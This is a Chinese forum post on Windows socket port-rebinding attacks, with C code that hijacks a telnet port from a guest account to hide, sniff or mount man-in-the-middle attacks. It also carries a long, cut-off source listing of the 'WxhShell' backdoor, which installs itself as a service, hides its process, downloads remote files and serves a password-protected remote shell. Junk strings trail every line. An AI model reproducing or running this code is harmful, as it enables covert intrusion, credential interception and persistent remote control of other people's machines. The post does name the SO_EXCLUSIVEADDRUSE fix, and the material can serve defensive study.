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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lcuH]z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &**.naSo  
RQ_#rYmT  
  saddr.sin_family = AF_INET; ~a0d .dU  
06j)P6Iju  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Mz% d_  
]xVL11p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EHE6 -^F  
@i1.5z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -f 'q  
t 's5~  
  这意味着什么?意味着可以进行如下的攻击: /eI,]CB'z  
]J0Y^dM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^O,6(@>  
xq#]n^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E(L^hZMc  
.*clY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 42H#n]Y  
-qr:c9\px  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'p{Y{ $Q  
oG U.U9~!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o 2$<>1^  
hyr5D9d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _ 3-,3ia  
~"hAb2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hPX2 Bp  
J>&dWKM3  
  #include '~!l(&X  
  #include +&@l{x(,  
  #include RM / s :  
  #include    xf3/<x!B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jDkc~Wwa  
  int main() vzgudxG'z  
  { pQ6t]DJ4  
  WORD wVersionRequested; PhaQ3%  
  DWORD ret; %%H. &*i,  
  WSADATA wsaData; itvy[b-*  
  BOOL val; ABS BtH ?  
  SOCKADDR_IN saddr; Mz#S5 s  
  SOCKADDR_IN scaddr; o::ymAj  
  int err; z8rh*Rfxd  
  SOCKET s; A?<"^<A^  
  SOCKET sc; gJ}'O4*b  
  int caddsize; ;L/T}!Dx  
  HANDLE mt; m'vOFP)'  
  DWORD tid;    I$sm5oL  
  wVersionRequested = MAKEWORD( 2, 2 );  MYW 4@#  
  err = WSAStartup( wVersionRequested, &wsaData ); OYCFx2{  
  if ( err != 0 ) { ,4?|}xg  
  printf("error!WSAStartup failed!\n"); hJL0M!  
  return -1; u8)r W  
  } ;z=C^'  
  saddr.sin_family = AF_INET; :8/M6-EK  
   6!Ap;O^*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d+wNGN  
R;I-IZS:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $DMu~wwfG  
  saddr.sin_port = htons(23); l2_E6U"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5&7?0h+I  
  { RM=+ZmA  
  printf("error!socket failed!\n"); xsypIbN  
  return -1; A_$Mt~qKi^  
  } W,eKQV<j  
  val = TRUE; "{1}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 */@bNT9BgO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XVK[p=cIL  
  { c`[uQXv  
  printf("error!setsockopt failed!\n"); !t [%'!v  
  return -1; BsG[#4KM:  
  } KARQKFp!C>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 97=YFK~*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1Yx[,GyC>&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ry<}DK<u  
Ik2szXh[J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^i,0n}>  
  { F[qI fh4  
  ret=GetLastError(); YuZ   
  printf("error!bind failed!\n"); C{Xk/Er5<  
  return -1; ?p\II7   
  } nJ`a1L{N  
  listen(s,2); Yka yT0!  
  while(1) OKH~Y-%<  
  {  /o3FK  
  caddsize = sizeof(scaddr); y8 u)Q  
  //接受连接请求 5~TA(cb5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N`^W*>XB  
  if(sc!=INVALID_SOCKET) KPvYq?F>4  
  { _1bd)L&dF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m##z  
  if(mt==NULL) C=f(NpyD6  
  { %b'VEd7  
  printf("Thread Creat Failed!\n"); wUPywV1UO  
  break; rnrx%Q  
  } [Z&s0f1Qb  
  } |gxB; GG  
  CloseHandle(mt); LR?#H)$  
  } wEn&zZjx  
  closesocket(s); ktJLp Z<0O  
  WSACleanup(); wOl-iN=  
  return 0; h 7P?n.K  
  }   +as\>"Cj+2  
  DWORD WINAPI ClientThread(LPVOID lpParam) V$%Fs{  
  { ?;QKe0I^  
  SOCKET ss = (SOCKET)lpParam; n`2"(7Wj  
  SOCKET sc; 5 /VB'N#7s  
  unsigned char buf[4096]; :jp$X|  
  SOCKADDR_IN saddr; `v+O5  
  long num; {Q3#]Vu  
  DWORD val; wAwH8xLU  
  DWORD ret; p{QKj3ov  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u>Kvub  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G U/k^ Qy  
  saddr.sin_family = AF_INET; Ji?UG@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4o8HEq!  
  saddr.sin_port = htons(23); Sgk{NM7|k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %R5MAs&-5  
  { CU M~*  
  printf("error!socket failed!\n"); DY27'`n6  
  return -1; .VV!$; FB  
  } -5B([jHgR  
  val = 100; 43]&SXprH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oU6g5  
  { K&oO+G^f  
  ret = GetLastError(); K%@SS8!oy  
  return -1; f3&//h8  
  } .-*nD8b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^]K)V  
  { VL1z$<vVXt  
  ret = GetLastError(); @"5u~o')@v  
  return -1; ^IZ0M1&W;  
  } s8O+&^(U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WkmS   
  { :Fk&2WsW:  
  printf("error!socket connect failed!\n"); 90I3_[Ii  
  closesocket(sc); yU lQPrNX  
  closesocket(ss); t`D@bzLC%  
  return -1; f}uCiV!?v  
  } Bnc  
  while(1) tHo/uW_~I  
  { c8W=Is`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;]ew>P)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P"VLGa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4r!40^:2  
  num = recv(ss,buf,4096,0); FNO lR>0e  
  if(num>0) 7q1l9:VYE  
  send(sc,buf,num,0); 1T`"/*!  
  else if(num==0) q/ zdd3a  
  break; 1Tkdr 2  
  num = recv(sc,buf,4096,0); 9_dsiM7CT  
  if(num>0) :CHd\."%+1  
  send(ss,buf,num,0); lO@Ba;x  
  else if(num==0) NP/2gjp  
  break; 51usiOq  
  } gQG iph |  
  closesocket(ss); eT?LMBn\  
  closesocket(sc); +t6m>IBu  
  return 0 ; 7K4%`O  
  } hY'%SV p  
h2snGN/{Hb  
t)+dW~g  
========================================================== 40ZB;j$l  
c *noH[  
下边附上一个代码,,WXhSHELL arrcHf 4O  
!(o2K!v0  
========================================================== D/>5\da+y  
JC3)G/m(03  
#include "stdafx.h" (q7mzZY  
v#G ^W  
#include <stdio.h> $cCB%}  
#include <string.h> q>Y[.c-  
#include <windows.h> KfS^sT  
#include <winsock2.h> } 4^UVdz  
#include <winsvc.h> >{8H==P  
#include <urlmon.h> 6.=b^6MV  
1j(,VW  
#pragma comment (lib, "Ws2_32.lib") =jh:0Q<43+  
#pragma comment (lib, "urlmon.lib") zt6ep=  
aPgG+tu  
#define MAX_USER   100 // 最大客户端连接数 548BM^^"r  
#define BUF_SOCK   200 // sock buffer W1(zi P'6  
#define KEY_BUFF   255 // 输入 buffer p:))ne:7  
zvj\n9H  
#define REBOOT     0   // 重启 ~VKXL,.  
#define SHUTDOWN   1   // 关机 $T0[  
0:p#%Nvg  
#define DEF_PORT   5000 // 监听端口 W=:+f)D  
} U.B$4Q  
#define REG_LEN     16   // 注册表键长度 tDVdl^#  
#define SVC_LEN     80   // NT服务名长度 Uk4">]oct  
R PQ)0.O7  
// 从dll定义API  X'<xw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,j<"~"] =  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zq&lxySa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }% *g\%L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ckp=d  
@YELqUb*  
// wxhshell配置信息 UQ?8dw:E~  
struct WSCFG { T~E83Jw  
  int ws_port;         // 监听端口 `}l%Am  
  char ws_passstr[REG_LEN]; // 口令 7\ lb+^$  
  int ws_autoins;       // 安装标记, 1=yes 0=no .S;/v--F  
  char ws_regname[REG_LEN]; // 注册表键名 4{pa`o3  
  char ws_svcname[REG_LEN]; // 服务名 8!fw Xm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |Rc#Q<Vh|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =G :H)i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T~Cd=s(T"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1<UQJw45  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o6oYJ`PY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P8f-&(  
mLSAi2Y  
}; We2=|AB  
ZWH`s  
// default Wxhshell configuration |)?T([  
struct WSCFG wscfg={DEF_PORT, *yx:nwmo  
    "xuhuanlingzhe", FqfeH_-U  
    1, Sz&`=x#  
    "Wxhshell", cA kw5}P   
    "Wxhshell", 4(]k=c1<  
            "WxhShell Service", @U5o;X!qU  
    "Wrsky Windows CmdShell Service", hv6>3gbr  
    "Please Input Your Password: ", ;a"Ukh  
  1, YQOGxSi  
  "http://www.wrsky.com/wxhshell.exe",  T7`Jtqf  
  "Wxhshell.exe" v.MWO]L  
    }; ;Xns9  
tti.-  
// 消息定义模块 FgxQ}VvlH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0Qz \"gr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v)06`G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l3,|r QD  
char *msg_ws_ext="\n\rExit."; x,+zw9  
char *msg_ws_end="\n\rQuit."; [@czvPi  
char *msg_ws_boot="\n\rReboot..."; AyUVsIuPT=  
char *msg_ws_poff="\n\rShutdown..."; >8Y >B)  
char *msg_ws_down="\n\rSave to "; jiat5  
Nbda P{{  
char *msg_ws_err="\n\rErr!"; p|%)uA3'/  
char *msg_ws_ok="\n\rOK!"; JT+P>\\];'  
/+iaw~={"  
char ExeFile[MAX_PATH]; 5ym =2U  
int nUser = 0; UT-=5  
HANDLE handles[MAX_USER]; =0Mmxd&o=M  
int OsIsNt; %Vq@WF  
ofJ@\xS  
SERVICE_STATUS       serviceStatus; J7H1<\=cJb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G+ToZ&f@  
%PpB$  
// 函数声明 E+gUzz5  
int Install(void); qluyJpt  
int Uninstall(void); #oaX<,  
int DownloadFile(char *sURL, SOCKET wsh); 7K~=QEc  
int Boot(int flag); g?ft;kR6S  
void HideProc(void); uv$y"1'g  
int GetOsVer(void); (+@H !>r$$  
int Wxhshell(SOCKET wsl); 4s~o   
void TalkWithClient(void *cs); 01J.XfCd6  
int CmdShell(SOCKET sock); :3k(=^%G!  
int StartFromService(void); JW$#~"@r  
int StartWxhshell(LPSTR lpCmdLine); `WVQp"m  
R[b?kT-%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AbB%osz}Ed  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @m6E*2Gg  
+.=a R<Q  
// 数据结构和表定义 \*7Tj-#  
SERVICE_TABLE_ENTRY DispatchTable[] = Cpl\}Qn  
{ lH[N*9G(  
{wscfg.ws_svcname, NTServiceMain}, rfk';ph  
{NULL, NULL} w*?JW  
}; F 1BPzRo`  
$ _zdjzT  
// 自我安装 wS4zAu  
int Install(void) F=cO=5Iz  
{ MkQSq MU=  
  char svExeFile[MAX_PATH]; i<l)To-  
  HKEY key; +XsY*$O  
  strcpy(svExeFile,ExeFile); _.j KcDf  
%!@Dop/<  
// 如果是win9x系统,修改注册表设为自启动 ;fuy}q8@7  
if(!OsIsNt) { hod|o1C&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #8'%CUF*<8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u{si  
  RegCloseKey(key); &{$\]sv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =T1i(M#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tw;`H( UZ^  
  RegCloseKey(key); {2,V3*NF  
  return 0; ^'}Td~(  
    } MSA*XDnN  
  } >y1/*)O9~  
} f@ySTz;u  
else { DpA)Z ??  
A&z  
// 如果是NT以上系统,安装为系统服务 t{$t3>p-t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  hHdC/mR  
if (schSCManager!=0) yCwQ0|  
{ A2xORG&FD  
  SC_HANDLE schService = CreateService 18Ty )7r'  
  ( Es?~Dd  
  schSCManager, $Uzc  
  wscfg.ws_svcname, @r#>-p  
  wscfg.ws_svcdisp, Lm8 cY  
  SERVICE_ALL_ACCESS, s3q65%D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )%*uMuF  
  SERVICE_AUTO_START, djk   
  SERVICE_ERROR_NORMAL, sYvO"|  
  svExeFile, J=() A+  
  NULL, uvT]MgT  
  NULL, `jP6;i  
  NULL, DJeG  
  NULL, L./UgeZ  
  NULL &cZD{Z  
  ); ]R0^ }sI  
  if (schService!=0) f F?=W  
  { ifuVVFov  
  CloseServiceHandle(schService); 8Y:bvs.j  
  CloseServiceHandle(schSCManager); C6GYhG]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !x>P]j7A}Y  
  strcat(svExeFile,wscfg.ws_svcname);  +&|WC2#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0%vXPlfnY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $"sf%{~  
  RegCloseKey(key); <jV_J+#  
  return 0; 55Jk "V#8  
    } Q|:\  
  } WFtxEIrl3j  
  CloseServiceHandle(schSCManager); GX\/2P7CZ  
} " 4s,a  
} % nJ'r?+h  
07CGHAxJ`  
return 1; U:ZklDW  
} ++xEMP)  
KVJiCdg-  
// 自我卸载 9^`G `D  
int Uninstall(void) D>05F,a  
{ P\SE_*&  
  HKEY key; 1h|JKu0  
8%Pjx7'<  
if(!OsIsNt) { zL1H[}[z+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fY\QI =  
  RegDeleteValue(key,wscfg.ws_regname); #qHo+M$"  
  RegCloseKey(key); *Bc= gl$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (G:$/fK  
  RegDeleteValue(key,wscfg.ws_regname); R:=i/P/  
  RegCloseKey(key); X)`? P*[  
  return 0; nsYS0  
  } V+_L9  
} ;[&g`%-H<  
} a Z ^SK|E  
else { WnA]gyc  
`XQM)A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 74QWGw`,  
if (schSCManager!=0) ]ZZ7j  
{ JTrxh]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j&ddpS(s  
  if (schService!=0) 4u A ;--j  
  { g {wDI7"<q  
  if(DeleteService(schService)!=0) { $KKrl  
  CloseServiceHandle(schService); ]x! vPIyq  
  CloseServiceHandle(schSCManager); 5WY..60K,  
  return 0; A\gj\&B0"  
  } T5o9pm D  
  CloseServiceHandle(schService); R|`}z"4C  
  } #}l }1^$  
  CloseServiceHandle(schSCManager); #BF(#1:  
} +Nyx2(g<m  
} PoQ@9 A  
WC0@g5;1[  
return 1; v$lP?\P;}X  
} (V}D PA  
s+9q :  
// 从指定url下载文件 g;Bq#/w  
int DownloadFile(char *sURL, SOCKET wsh) #N wlKZ-  
{ Sw>AgES  
  HRESULT hr; zAS&L%^tV  
char seps[]= "/"; 3%>"|Ye}A  
char *token; ^<7)w2ns  
char *file; {6*h';~  
char myURL[MAX_PATH]; %/jm Q6z^  
char myFILE[MAX_PATH]; Fod2KS;g  
Jy{A1i@4~s  
strcpy(myURL,sURL); >(p "!  
  token=strtok(myURL,seps); Lr_+) l  
  while(token!=NULL) @zW'!Ol  
  { qK#\k@E  
    file=token; ,@8>=rT  
  token=strtok(NULL,seps); =2# C{u.  
  } U5%EQc-"P  
lhKd<Y"  
GetCurrentDirectory(MAX_PATH,myFILE); 9["yL{IPe  
strcat(myFILE, "\\"); :^%My]>T  
strcat(myFILE, file); 0 ; M+8  
  send(wsh,myFILE,strlen(myFILE),0); !Tr +:SM  
send(wsh,"...",3,0); ' w!o!_T6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o0_RU<bWN  
  if(hr==S_OK) b> Iq k  
return 0; i` n,{{x&4  
else +kmPQdO;*/  
return 1; N_UZu  
#Q"el3P+q  
} bw ' yX  
/!uxP~2U  
// 系统电源模块 U_y)p Cd  
int Boot(int flag) Atzp\oO  
{ dq[j.Nmq  
  HANDLE hToken; JY~s-jxa  
  TOKEN_PRIVILEGES tkp; /)e&4.6  
x?VX,9;j  
  if(OsIsNt) { &S]\)&Yt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -6aGcPq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5a&[NN  
    tkp.PrivilegeCount = 1; fYl$$.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A!x_R {,yH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N yFa2Ihd  
if(flag==REBOOT) { pg;agtI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S2@[F\|r  
  return 0; 120<(#  
} D9 OS,U/l  
else { H_3S#.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [j`It4^nC  
  return 0; ZjF$zVk  
} ~ucOQVmz@  
  } .yd{7Te  
  else { 80x %wCY`  
if(flag==REBOOT) { 3 8m5&5)1F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y, )'0O  
  return 0; }[SWt3qV1  
} %F` c Nw]  
else { /#GX4&z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JnlM0jc]`  
  return 0; &>ii2% 4  
} !LVWggk1  
} P*BA  
e%afK@c  
return 1; tK`sVsm>  
} D\jRF-z  
.R#p<"$I  
// win9x进程隐藏模块 j *Ta?'*  
void HideProc(void) (dLt$<F  
{ c5+oP j  
@(,k%84z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hbD@B.PD  
  if ( hKernel != NULL ) -SGR)  
  { HpC|dtro  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ks(+['*S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); . Zrt/;  
    FreeLibrary(hKernel); dP=1*  
  } _>9|"seR  
DGz'Dn  
return; ,2qJXMg"=$  
} )O#]Wvr  
4L85~l  
// 获取操作系统版本 mVcpYyD|k  
int GetOsVer(void) b'pbf  
{ RFU(wek  
  OSVERSIONINFO winfo; YR@@:n'TP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Thr74M  
  GetVersionEx(&winfo); ;EP7q[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EW%%W6O6  
  return 1; s/Fc7V!;  
  else Z,M?!vK  
  return 0; ;cH|9m:Y  
} W/<]mm~95  
iW(HOsA  
// 客户端句柄模块 sU^2I v\%  
int Wxhshell(SOCKET wsl) M`*B/Fh 2  
{ N6S0(%  
  SOCKET wsh; s4<[f%^  
  struct sockaddr_in client; 9x0B9&  
  DWORD myID; ( \{9W  
r  /63  
  while(nUser<MAX_USER) <*3{Twa1T  
{ MUh )  
  int nSize=sizeof(client); ,B(UkPGT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /J]Yj,  
  if(wsh==INVALID_SOCKET) return 1; T;XEU%:LK  
@s}I_@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OB)Vk  
if(handles[nUser]==0) |\TOSaZ  
  closesocket(wsh); 5"u-oE&  
else 1&\_|2  
  nUser++; GNS5v-"H  
  } [u;]J*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kj~)#KDN  
-==@7*x!Z  
  return 0; ~ ' 81  
} BG_m}3j  
~aQ>DpSEf  
// 关闭 socket 6a[D]46y,2  
void CloseIt(SOCKET wsh) kSv?p1\@&P  
{ $qYtN`b,  
closesocket(wsh); d/!sHr69  
nUser--; "IA[;+_"  
ExitThread(0); T8h.!Vef  
} C '4u+raq  
B$1nq#@  
// 客户端请求句柄 1k6f|Al -  
void TalkWithClient(void *cs) Wp/!;  
{ *[*LtyCQt4  
pg1o@^OuL  
  SOCKET wsh=(SOCKET)cs; MNzq,/Wf  
  char pwd[SVC_LEN]; Vy.A`Hz  
  char cmd[KEY_BUFF]; gV1&b (h  
char chr[1]; 4- ^|e  
int i,j; .'mmn5E  
$)\%i=  
  while (nUser < MAX_USER) { vmK<_xbwd  
@ +h2R  
if(wscfg.ws_passstr) { 5gARGA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Z)`kS} =]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $6}siU7s4  
  //ZeroMemory(pwd,KEY_BUFF); 8+{WH/}y8  
      i=0; }`&#{>]2  
  while(i<SVC_LEN) { UeV2`zIg`  
D-\\L[  
  // 设置超时 0kS[`a(}J  
  fd_set FdRead; M;OY+ |uA  
  struct timeval TimeOut; Vh$~]>t:f  
  FD_ZERO(&FdRead); :BKY#uH~  
  FD_SET(wsh,&FdRead); +8Yt91   
  TimeOut.tv_sec=8; ; 29q  
  TimeOut.tv_usec=0; !SEHDRp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $'btfo4H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LbOjKM^-  
&>\E >mJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x^^;/%p  
  pwd=chr[0]; O9wZx%<  
  if(chr[0]==0xd || chr[0]==0xa) { -U)6o"O_CV  
  pwd=0; aF2 eGh  
  break; 1v!Xx+}  
  } +6@".<  
  i++; I~y[8  
    } 3C 84b/A  
,uqSq  
  // 如果是非法用户,关闭 socket AX}l~ sv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zk=5uKcPE  
} 9#{?*c6  
p/>}{Q )Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wcUf?`21,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RKFj6u  
mV^+`GWvo  
while(1) { I$xfCu  
G`!#k!&r  
  ZeroMemory(cmd,KEY_BUFF); jG)fM?  
mj=$[ y(  
      // 自动支持客户端 telnet标准   "]>JtK  
  j=0; 9Xo'U;J  
  while(j<KEY_BUFF) { g#ubxC7t<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^eQK.B(  
  cmd[j]=chr[0]; o7S,W?;=5  
  if(chr[0]==0xa || chr[0]==0xd) { <^6|ZgR  
  cmd[j]=0; %>`0hk88  
  break; YQe9g>G&  
  } Rd|};-  
  j++; jv<BGr=4;  
    } O&!>C7  
S~0 mY} m  
  // 下载文件 Ta`=c0  
  if(strstr(cmd,"http://")) { YbB8D-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J5h;~l!y  
  if(DownloadFile(cmd,wsh)) -twV?~f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU`#3}s  
  else SjV;& 1Z/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); unKTa*U^q  
  } M%pxv6?""{  
  else { f?kA,!  
_Z z" `  
    switch(cmd[0]) { Z12-Vps  
  Tu95qL~^  
  // 帮助 \72(d  
  case '?': { fvK):eCo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?RJ ) u  
    break; pt<!b0G  
  } &Q 7Q1`S  
  // 安装 Cp=DdmR  
  case 'i': { >Pj ?IE6  
    if(Install()) v?BX 4FO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hZf0q 2  
    else (@@t,\iF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S"0<`{Gv  
    break; 3<sYxA\?w  
    } pE<dK.v6  
  // 卸载 (b%&DyOt  
  case 'r': { 8sjAr.iT.  
    if(Uninstall()) F+ qRC_C>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^^<6e  
    else V`qHNM/t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iV;X``S  
    break; 8gWifx #N  
    } CIAHsbn.A  
  // 显示 wxhshell 所在路径 Lb;:<  
  case 'p': { SVWtKc<  
    char svExeFile[MAX_PATH]; 4%>iIPXi.(  
    strcpy(svExeFile,"\n\r"); d6,SZ*AE  
      strcat(svExeFile,ExeFile); .E}fk,hLB  
        send(wsh,svExeFile,strlen(svExeFile),0); k44s V.G4L  
    break; L;$Gn"7~  
    } xR `4<  
  // 重启 ^[6eo8Ck>  
  case 'b': { gBb+Q,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3* C9;Q}  
    if(Boot(REBOOT)) c+$alw L~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xD+n2:I{  
    else { D]n9+!Ec1f  
    closesocket(wsh); GyQu?`  
    ExitThread(0); s)X'PJ0&Bs  
    } ``KimeA~  
    break; 'oSs5lW  
    } l2Z!;Wm(  
  // 关机 @)=\q`vV  
  case 'd': { $?RxmWsP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &6 .r=,BO  
    if(Boot(SHUTDOWN)) uz-O%R-  
